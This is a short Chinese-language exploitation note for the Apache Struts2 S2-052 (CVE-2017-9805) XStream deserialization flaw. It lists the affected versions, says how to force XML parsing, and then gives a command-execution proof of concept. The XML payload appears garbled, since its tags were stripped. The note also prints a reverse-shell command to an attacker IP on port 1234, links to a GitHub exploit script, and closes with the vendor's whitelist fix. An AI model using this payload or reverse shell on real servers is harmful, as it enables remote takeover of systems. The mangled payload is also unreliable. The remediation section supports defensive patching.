漏洞名称

S2-052 CVE-2017-9805 远程代码执行

利用条件

Struts 2.1.6 – Struts 2.3.33

Struts 2.5 – Struts 2.5.12

漏洞原理

Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法,所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml,即可在Body中传递XML数据。

漏洞利用命令执行poc

注意一 替换 Content-Type头的内容字段为application/xml

注意二 增加xml字段内容

0false0touch/tmp/test.txtfalsejava.lang.ProcessBuilderstartfoofoofalse00falsefalse0
  你要执行的代码 

创建文件

touch/tmp/test.txt

写入内容到文件

bash-cecho xiaoxin > /tmp/test.txt

反弹shell

bash                -c                bash -i >& /dev/tcp/192.168.56.200/1234 0>&1

工具反弹shell

https://github.com/Vancir/s2-052-reproducing

更改exploit.py中的url地址

修复建议

struts2.5.13中,按照xstream给出的缓解措施( http://x-stream.github.io/security.html ),增加了反序列化时的白名单:

protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {    stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()}));    if (invocation.getAction() instanceof ModelDriven) {        stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()}));    }    stream.addPermission(NullPermission.NULL);    stream.addPermission(PrimitiveTypePermission.PRIMITIVES);    stream.addPermission(ArrayTypePermission.ARRAYS);    stream.addPermission(CollectionTypePermission.COLLECTIONS);    stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));}

但此时可能会影响以前代码的业务逻辑,所以谨慎升级,也没有特别好的办法,就是逐一排除老代码,去掉不在白名单中的类。

参考文章

https://github.com/Vancir/s2-052-reproducing

https://blog.csdn.net/weixin_41082546/article/details/102212059